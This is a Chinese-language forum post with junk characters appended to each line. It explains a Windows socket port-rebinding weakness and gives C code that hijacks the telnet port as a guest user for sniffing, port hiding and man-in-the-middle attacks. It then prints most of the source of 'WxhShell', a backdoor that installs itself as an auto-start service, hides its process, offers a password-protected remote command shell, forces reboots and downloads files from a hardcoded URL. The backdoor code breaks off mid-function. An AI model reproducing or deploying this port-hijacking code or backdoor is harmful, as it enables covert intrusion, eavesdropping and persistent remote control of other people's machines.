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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >'@yq  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); (@dh"=Lt\  
vvLm9Tw  
  saddr.sin_family = AF_INET; "| <\\HR  
_gB`;zo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); lu(<(t,Lbs  
V,($I'&/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 92GO.xAD?  
ho_;;y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !c\d(u  
 )>Oip  
  这意味着什么?意味着可以进行如下的攻击: +'?p $@d  
:xfD>K  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 tZ[Y~],F  
PY.c$)az>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) RR><so%  
ZN|DR|c UY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 qbkvwL9  
l,*v/95h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ky#d`   
cX@~Hk4=\  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 o*\kg+8  
T"'"T]^ X  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `/<KDd:_t  
UcDJ%vI  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 [K[tL|EK  
_`L,}=um'  
  #include ?^us(o7-  
  #include bv>;%TF  
  #include Ix%h /=I  
  #include    LKG],1n-  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FK{ YRt  
  int main() ~!'%m(g  
  { -,et. *  
  WORD wVersionRequested; )]!Ps` ,u  
  DWORD ret; ,*r"cmz  
  WSADATA wsaData; 0b=OK0n!%  
  BOOL val; 3Qe:d_  
  SOCKADDR_IN saddr; >/EmC3?b!  
  SOCKADDR_IN scaddr; R)t"`'6|  
  int err; @?{n`K7{`  
  SOCKET s; f 5_n2  
  SOCKET sc; L._I"g5 H9  
  int caddsize; Nm#VA.~  
  HANDLE mt; $g _h9L  
  DWORD tid;   A L}c-#GG  
  wVersionRequested = MAKEWORD( 2, 2 ); Xd66"k\b+  
  err = WSAStartup( wVersionRequested, &wsaData ); e%j+,)Ry  
  if ( err != 0 ) { m1VyYG  
  printf("error!WSAStartup failed!\n"); n<kcK  
  return -1; a |32Pn  
  } Rs{L  
  saddr.sin_family = AF_INET; Qwk  
   oKz|hks[6  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Uq~{=hMX  
|h*H;@$  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (}"r 5  
  saddr.sin_port = htons(23); vAq`*]W+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $uawQf+S  
  { 8N!E`{W  
  printf("error!socket failed!\n"); w]UYD;f  
  return -1; 3ZU`}  
  } \S}&QV  
  val = TRUE; &m`1lxT  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 vML01SAi  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,2[laJ  
  { f$iv+7<B^  
  printf("error!setsockopt failed!\n"); FsY}mql  
  return -1; 6/T hbD-C  
  } R(=Lhz6R4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; b3MgJT"mN  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LSNa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 %U)/>Z  
$91c9z;f^  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D.j'n-yw  
  { - P1OD)B  
  ret=GetLastError(); 8Cs)_bj#!  
  printf("error!bind failed!\n"); q0.+F4  
  return -1;  ^P~%^?(  
  } U'UV=:/-  
  listen(s,2); }/B  
  while(1) ={W;8BUV%^  
  { "dXRUg"  
  caddsize = sizeof(scaddr); .Frc:Y{  
  //接受连接请求 782be-n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `&4L'1eF{  
  if(sc!=INVALID_SOCKET) F5wCl2I  
  { F5gL-\6  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1@P/h#_Vr  
  if(mt==NULL) k)b}"' I  
  { c#$B;?  
  printf("Thread Creat Failed!\n"); 05LVfgJ'q  
  break; Cv>|>Ob#  
  } )(9>r /bq  
  } ?&_ -,\t  
  CloseHandle(mt); CK 3]]{  
  } EJ.oq*W!*J  
  closesocket(s); he wX)  
  WSACleanup(); x %L2eXL  
  return 0; k8F<j)"  
  }   I0(BKMp&  
  DWORD WINAPI ClientThread(LPVOID lpParam) (8qMF{  
  { n %"q>  
  SOCKET ss = (SOCKET)lpParam; >:Na^+c  
  SOCKET sc; 4cRF3$a md  
  unsigned char buf[4096]; $}jp=?,t  
  SOCKADDR_IN saddr; 7$<.I#x  
  long num; wXMKQ)$(  
  DWORD val; KF|+# qCN  
  DWORD ret; n&D<l '4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z%y>q|:  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   2^bq4c4J  
  saddr.sin_family = AF_INET; |[CsLn;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xpx Un8.  
  saddr.sin_port = htons(23); <M B]W`5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 9s6@AJf  
  { II3)Cz}xRG  
  printf("error!socket failed!\n"); $/Gvz)M  
  return -1; VJDF/)X3$  
  } >E|@3g +2  
  val = 100; -/ ; y*mP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zu5'Ex`gQa  
  { h +.8Rl  
  ret = GetLastError(); ^&zwO7cS  
  return -1; ,G!M?@Q  
  } P(_D%0xKm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &dh%sFy  
  { n`2 d   
  ret = GetLastError(); 81eDN6 M\  
  return -1; #:s*)(Qn  
  } T1m"1Q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) gS_)(  
  { vp? 87h  
  printf("error!socket connect failed!\n"); t 9&xk?%{  
  closesocket(sc); ((Ak/qz  
  closesocket(ss); P9p:x6  
  return -1; J0*hJ-/u  
  } iZ<^p1i  
  while(1) "CLoM\M)  
  { ym9Z:2g  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ve*NM|jg  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 E0!}~Z)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 vH%AXz IA  
  num = recv(ss,buf,4096,0); <vJPKQ`=:  
  if(num>0) OSQZ5:g|  
  send(sc,buf,num,0); S<rdPS*P  
  else if(num==0) au@ LQxKQ  
  break; ,;)Y 1q}Q  
  num = recv(sc,buf,4096,0); }l~|c{WH`  
  if(num>0) L^i=RGx  
  send(ss,buf,num,0); Nz_c]3_j  
  else if(num==0) 7cW9@xPe  
  break; X ,n4_=f  
  } &lbxmUeU  
  closesocket(ss); T6h-E^Z  
  closesocket(sc); ."&,_F  
  return 0 ; id<i|  
  } SNV~;@(h  
)Fx"S.Ok  
9]fhH  
========================================================== M(|Qvh{Q6  
v".q578 0B  
下边附上一个代码,,WXhSHELL fftFNHP  
JQ=i{9iJ  
========================================================== _x&;Fa%  
eQu%TZ(x-$  
#include "stdafx.h" s:3 altv  
k"D6Vyy`  
#include <stdio.h> X TEC0s"F  
#include <string.h> $R(?@B(  
#include <windows.h> hr_ 5D  
#include <winsock2.h> +KgoLa  
#include <winsvc.h> Hy ^E m  
#include <urlmon.h> ;*1bTdB5a  
uPKq<hBI  
#pragma comment (lib, "Ws2_32.lib") <_$]!Z6UR  
#pragma comment (lib, "urlmon.lib") ?j;e/r.  
(MhC83|?  
#define MAX_USER   100 // 最大客户端连接数 &IsQgS7R  
#define BUF_SOCK   200 // sock buffer =M'M/vKD  
#define KEY_BUFF   255 // 输入 buffer nw swy]e8/  
+^ a9i5  
#define REBOOT     0   // 重启 bP\0S@1YL  
#define SHUTDOWN   1   // 关机 A'r 3%mC  
E9z^#@s  
#define DEF_PORT   5000 // 监听端口 =y -L'z&r  
R,R[.2Vi  
#define REG_LEN     16   // 注册表键长度 (;v)0&h  
#define SVC_LEN     80   // NT服务名长度 oJa6)+b(3  
YL-/z4g  
// 从dll定义API U/F<r3.`#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _OV\W'RrA  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w}No ^.I*4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OzY55  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); FdEzt  
Atsi}zTR\  
// wxhshell配置信息 jXA!9_L7  
struct WSCFG { W9n0Jv  
  int ws_port;         // 监听端口 gw~ %jD-2  
  char ws_passstr[REG_LEN]; // 口令 bHVAa#  
  int ws_autoins;       // 安装标记, 1=yes 0=no (uW/t1  
  char ws_regname[REG_LEN]; // 注册表键名 qcMVY\gi  
  char ws_svcname[REG_LEN]; // 服务名 i;Cs,Esnf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pm$2*!1F(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K*iy^}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,<?iL~> %  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jy@vz,/:%5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D`p&`]k3v  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?~~sOf AP  
!<r+h, C  
}; hoY.2 B_  
a h<1&UG,  
// default Wxhshell configuration  o&uO]  
struct WSCFG wscfg={DEF_PORT, I@Zd<Rn  
    "xuhuanlingzhe", <X[TjP  
    1, h/~:}Bof  
    "Wxhshell", r>73IpJI  
    "Wxhshell", #p& &w1  
            "WxhShell Service", !Ic;;<  
    "Wrsky Windows CmdShell Service", 4;"^1 $  
    "Please Input Your Password: ", r_C|gfIP  
  1, 0\v98g<[+  
  "http://www.wrsky.com/wxhshell.exe", )006\W|t9  
  "Wxhshell.exe" 1Vq]4_09g1  
    }; lOIBX@K E  
mr:;Wwd  
// 消息定义模块 Yhdt"@;..  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1HQh%dZZ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ?#8',:  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r~cmrLQa  
char *msg_ws_ext="\n\rExit."; #qkokV6`  
char *msg_ws_end="\n\rQuit."; ZeewGa^r  
char *msg_ws_boot="\n\rReboot..."; $YZsaw  
char *msg_ws_poff="\n\rShutdown..."; lv -z[  
char *msg_ws_down="\n\rSave to "; 1d/-SxhZ  
K&FGTS,  
char *msg_ws_err="\n\rErr!"; i0F.c\  
char *msg_ws_ok="\n\rOK!"; [h>|6%sW  
[A$5~/Q{U1  
char ExeFile[MAX_PATH]; &v!=\Fig4  
int nUser = 0; pR_cI]{=SA  
HANDLE handles[MAX_USER]; FTM(y CN  
int OsIsNt; Jf\lnJTyU8  
hZGoiWC  
SERVICE_STATUS       serviceStatus; d:/8P985  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W: Rs 0O  
@L^Fz$Sx  
// 函数声明 .d< +-w2Mu  
int Install(void); <viIpz2jh%  
int Uninstall(void); u@|izRk  
int DownloadFile(char *sURL, SOCKET wsh); aE}1~`  
int Boot(int flag); u\YH,  
void HideProc(void);  V|=PaO  
int GetOsVer(void); _XT],"  
int Wxhshell(SOCKET wsl); whb|N2  
void TalkWithClient(void *cs); ~3}Gu^@  
int CmdShell(SOCKET sock); IV{,'+hT  
int StartFromService(void); /dTy%hZC}  
int StartWxhshell(LPSTR lpCmdLine); `5 py6,  
(;utiupW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d,=Kv  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ""Ul6hRgv  
?pgdj|"a  
// 数据结构和表定义 w:Ui_-4*>  
SERVICE_TABLE_ENTRY DispatchTable[] = 5,=Yi$x  
{ TR!^wB<F  
{wscfg.ws_svcname, NTServiceMain}, !_GY\@}  
{NULL, NULL} O+;0|4V%  
}; *S_e:^  
| \Nj  
// 自我安装 /64jO?mp  
int Install(void) &tY3nr  
{ ;/i"W   
  char svExeFile[MAX_PATH]; vQrce&  
  HKEY key; pAS!;t=n,  
  strcpy(svExeFile,ExeFile); rQiX7  
EubR] ckB  
// 如果是win9x系统,修改注册表设为自启动 htc& !m  
if(!OsIsNt) { $q*kD#;mh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -_=0PW5{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MLg<YL  
  RegCloseKey(key); pT]M]/y/:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { & pwSd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iO=xx|d  
  RegCloseKey(key); fr'M)ox1  
  return 0; s vn[c*  
    } {#q']YDe`  
  } 4GJ1P2  
} 'B}pIx6k~  
else { tf64<j6  
=jD[A>3I  
// 如果是NT以上系统,安装为系统服务 RAR0LKGX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7t-j2 n`<  
if (schSCManager!=0) 4X7y}F.J  
{ Wz$%o'OnC  
  SC_HANDLE schService = CreateService @k~?h=o\b  
  ( G)gf +)W  
  schSCManager, A(duUl~  
  wscfg.ws_svcname, >yvP[$]!6  
  wscfg.ws_svcdisp, !mFo:nQ)}  
  SERVICE_ALL_ACCESS, Rf@D]+v  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;SQ<^"eK  
  SERVICE_AUTO_START, Wd4fIegk  
  SERVICE_ERROR_NORMAL, *Yv"lB8  
  svExeFile, 2&91C[da0  
  NULL, $;un$ko6%  
  NULL, E [JXQ76  
  NULL, m1_?xU  
  NULL, i} 96, {  
  NULL P8NKp O\  
  ); Rde_I`Ru  
  if (schService!=0) >4TJH lB}8  
  { FzmCS@yA  
  CloseServiceHandle(schService); 5A1oZ+C#  
  CloseServiceHandle(schSCManager); Rs B o\#`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); oR}ir  
  strcat(svExeFile,wscfg.ws_svcname); y8: 0VZox  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Okk[}G)  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4W8rb'B!Ay  
  RegCloseKey(key); |Hn[XRsf  
  return 0; q! W ~>c!  
    } dsDoPo0!  
  } q3Umqvl)oe  
  CloseServiceHandle(schSCManager); G],+?E_,  
} ~WuElns  
} "@B! 5s0  
<[C 9F1]Ya  
return 1; Pb?H cg  
} mm$D1=h{|  
>`*iM  
// 自我卸载 7ka^y k@Q  
int Uninstall(void) OXDlwbwL  
{ ))c;DJc  
  HKEY key; c 5P52_@  
c?) pn9  
if(!OsIsNt) { 6A M,1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tYIHsm\b  
  RegDeleteValue(key,wscfg.ws_regname); _yjM_ALjo  
  RegCloseKey(key); *pP"u::S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X@+:O-$  
  RegDeleteValue(key,wscfg.ws_regname); L5T)_iQ5  
  RegCloseKey(key); Y^LFJB|b4  
  return 0; Z{#^lhHx  
  } +C;ZO6%w  
} q" wi.&|  
} wI>JOV7  
else { ^FgNg'"[3  
J'9&dt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OfTcF_%  
if (schSCManager!=0) +WPi}  
{ V.WfP*~NJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /6{`6(p  
  if (schService!=0) B2d$!Any  
  { >0 !J]gK  
  if(DeleteService(schService)!=0) { 4\pA^%73  
  CloseServiceHandle(schService); d1e'!y}R5  
  CloseServiceHandle(schSCManager); &o"Hb=k<  
  return 0; }=A6Jv(j  
  } T.ub! ,Y  
  CloseServiceHandle(schService); :&yRvu  
  } ([|5(Omd\  
  CloseServiceHandle(schSCManager); +^YV>;  
} _if&a'  
} ?y<n^`  
&Wd,l$P<O  
return 1; 2?t(%uf]  
} e::5|6x  
 hPr  
// 从指定url下载文件 lk.Q6saI1  
int DownloadFile(char *sURL, SOCKET wsh) };oRx)  
{ zQ{ Q>"-  
  HRESULT hr; ("/*k  
char seps[]= "/"; $ O}gl Q  
char *token; vlIdi@V  
char *file; ^'EEry  
char myURL[MAX_PATH]; uNd;; X  
char myFILE[MAX_PATH]; ?; )(O2p  
/<:9NP'^  
strcpy(myURL,sURL); 6}iIK,Om  
  token=strtok(myURL,seps); lG# &Pv>-  
  while(token!=NULL) ?[!.TU?4N  
  { ) 2S0OY.  
    file=token; s+zb[3}  
  token=strtok(NULL,seps); 7]e]Y>wZap  
  } 6/4OFvL1  
"vLqYc4$  
GetCurrentDirectory(MAX_PATH,myFILE); nOQ+oqM<  
strcat(myFILE, "\\"); mf}?z21vD  
strcat(myFILE, file); pvmm" f  
  send(wsh,myFILE,strlen(myFILE),0); yWzvE:!)  
send(wsh,"...",3,0); 83R"!w18  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @Jvw"=  
  if(hr==S_OK) q<c).4  
return 0; [&NF0c[i  
else R$6Y\ *L[  
return 1; }QJE9;<e  
)W57n)]  
} d1y(Jt  
8.k"kXU@n  
// 系统电源模块 IR/0gP  
int Boot(int flag) 0@AK  
{ $Z{ fKr  
  HANDLE hToken; wCmwH=O  
  TOKEN_PRIVILEGES tkp; ?\vJ8H[bD  
(3]7[h7  
  if(OsIsNt) { WDzov9ot  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NmB0CbB  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !Z=`Wk5  
    tkp.PrivilegeCount = 1;  g<,v2A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Eq.c;3  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "#4PU5.  
if(flag==REBOOT) { -D!F|&$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) I*lq0&  
  return 0; boN)C?"^h  
} *[.\ S3K`  
else { 6Ir ?@O1'!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?Fi-,4  
  return 0; JC=Bxv  
} 0eQ5LG?)  
  } ORtl~V'  
  else { HwU \[f  
if(flag==REBOOT) { *3 9sh[*}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3N]pN<3@  
  return 0; /o|@]SAe.  
} "r"Y9KODm  
else { ^kt"n( P5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v11mu2  
  return 0; H[>_LYZ8  
} }Bc6:a  
} -CL7^  
'|FM|0~-J  
return 1; c7iu[vE'+  
} .7) A8R7Wt  
r ,b  
// win9x进程隐藏模块 ;OdUH   
void HideProc(void) 'kh%^_FH7  
{ ahV_4;yF  
(b{ {B$O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #e9B|Y?b  
  if ( hKernel != NULL )  bM-Y4[  
  { }*R" yp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :m37Fpz&b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8tdUnh%/  
    FreeLibrary(hKernel); "%.#/!RG  
  } 3}h&/KN{  
a#raUF7e  
return; @#T?SNIL5  
} p O: EJ  
x&9 I2"  
// 获取操作系统版本 <c\aZ9+V  
int GetOsVer(void) B]Zsn`n  
{ LG,RF:  
  OSVERSIONINFO winfo; e,4!/|H:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =r_ S MTu  
  GetVersionEx(&winfo); Mb<KZ_wYOX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) QPFpGS{d  
  return 1; !4 hs9b  
  else @x=CMF15  
  return 0; wPc,FH+y  
} Zy!\=-dSm  
~Yr.0i.W  
// 客户端句柄模块 (> 8fcQUBb  
int Wxhshell(SOCKET wsl) EI_J7J+  
{ IsRsjhg8x  
  SOCKET wsh; @ym7hk.  
  struct sockaddr_in client; Yb?#vpI  
  DWORD myID; ,U2D &{@  
\/$v@5  
  while(nUser<MAX_USER) F(XWnfUv  
{ ,U7hzBj8k  
  int nSize=sizeof(client); `nizGg~1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); mYy3KqYu  
  if(wsh==INVALID_SOCKET) return 1; R 7{ rY  
:ZzG5[o3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O! j@8~='  
if(handles[nUser]==0) p[/n[@<8=  
  closesocket(wsh); XBr>K> (  
else z?gJHN<  
  nUser++; Zv-6H*zM6  
  } ]3I_H+hU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); N9*$'  
tP:xx2N_  
  return 0; DX!$k[  
} k[zf`x^  
?.Kl/8ml  
// 关闭 socket >eEf|tKO  
void CloseIt(SOCKET wsh) FCP5EN  
{ A{c6XQR~z  
closesocket(wsh); |BW956fBU  
nUser--; }YSH8d  
ExitThread(0); Qy$QOtrv  
} PAc~p8S  
MRC5c:(  
// 客户端请求句柄 -!}1{   
void TalkWithClient(void *cs) /0\pPc*kA{  
{  (&gCVf  
$jzk4V  
  SOCKET wsh=(SOCKET)cs; H{}6`;W  
  char pwd[SVC_LEN]; ]':C~-RV{  
  char cmd[KEY_BUFF]; $`5DGy?RU  
char chr[1]; xj~6,;83xR  
int i,j;  ?Z!KV=  
Q3KBG8  
  while (nUser < MAX_USER) { stDn{x .  
::5-UxGL<2  
if(wscfg.ws_passstr) { P#0 _  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); FE5R ^W#u-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y%GV9  
  //ZeroMemory(pwd,KEY_BUFF); $_ NaxV  
      i=0; <T}#>xHs3  
  while(i<SVC_LEN) { *CG2sAeB  
\.{JS>!  
  // 设置超时 H}$#aXEAn  
  fd_set FdRead; T8\,2UWsj2  
  struct timeval TimeOut; %sq=lW5R{b  
  FD_ZERO(&FdRead); K)v(Z"  
  FD_SET(wsh,&FdRead); :{AN@zC0\  
  TimeOut.tv_sec=8; hlVP_h"z  
  TimeOut.tv_usec=0; K l4",  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t #AQD]h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U-k;kmaj  
BNByaC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F+6ZD5/  
  pwd=chr[0]; p!691LI  
  if(chr[0]==0xd || chr[0]==0xa) { O3_Mrn(R  
  pwd=0; ! of7]s  
  break; PQ[TTLG\&  
  } K4rr.f6  
  i++; t.zSJ|T_&O  
    } z6!X+`&  
'l}3Iua6qk  
  // 如果是非法用户,关闭 socket vIREvj#U  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m=K XMX  
} 5bAXa2Vt  
WDX?|q9rCt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;e{2?}#8&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kj8zWG4KH  
`SG70/  
while(1) { 5FzRusNiA  
I)x:NF6JO  
  ZeroMemory(cmd,KEY_BUFF); :.~a[\C@V<  
jTqba:q@  
      // 自动支持客户端 telnet标准   [0}471  
  j=0; 5>=tNbk"s  
  while(j<KEY_BUFF) { eS"gHldz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Brl6r8LGi  
  cmd[j]=chr[0]; EvYw$ j  
  if(chr[0]==0xa || chr[0]==0xd) { V?"^Ff3m!  
  cmd[j]=0; =UV?Pi*M>  
  break; Y[H_?f=;%  
  } .x x#>Y-\  
  j++; Cam}:'a/`  
    } %pt $S~j  
4/jY;YN,2  
  // 下载文件 pFK |4u  
  if(strstr(cmd,"http://")) { 08f~vw"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); r:q#l~;^  
  if(DownloadFile(cmd,wsh)) 9,Mp/.T"\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `~RV  
  else 7^; OjO@8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U\[V !1O  
  } y((_V%F}  
  else { WY,t> 1c  
@v'D9 ?  
    switch(cmd[0]) { I>xB.$A  
  4"2/"D0  
  // 帮助 c,qCZ-.Sg  
  case '?': { )k1,oUx  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \XN5))  
    break; W wE)XE  
  } WU4i-@Bm8  
  // 安装 sHuz10  
  case 'i': { V588Leb?  
    if(Install()) qh'BrYu*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JA}'d7yEa  
    else ? 1{S_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g-^m\>B  
    break; oD7H6\_  
    } oL@ou{iQ  
  // 卸载 -7$'* V9$  
  case 'r': { {q)B@#p  
    if(Uninstall()) JXAyF6 $  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zJ:r0Bt  
    else &>jkfG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C{Ug ?hVP  
    break; U{_s1  
    } 7`/qL "  
  // 显示 wxhshell 所在路径 CJOl|"UyJ  
  case 'p': { ]aRD6F:L  
    char svExeFile[MAX_PATH]; qWpCe*C  
    strcpy(svExeFile,"\n\r"); (0Qq rNs  
      strcat(svExeFile,ExeFile); t/1NTa  
        send(wsh,svExeFile,strlen(svExeFile),0); Fdw[CYHz  
    break; ."X~?Nk  
    } Yel(}Ny  
  // 重启 nnNg^<[k3  
  case 'b': { t4*A+"~j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %MJ7u}  
    if(Boot(REBOOT)) $te,\$&}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \i+h P1 mz  
    else { ,m?D\Pru  
    closesocket(wsh); b1u'ukDP\  
    ExitThread(0); % 4"~O _S  
    } gL"}53A  
    break; `Cf en8  
    } Y/66`&,{  
  // 关机 e W)I}z +{  
  case 'd': { W~F/ZrT3A  
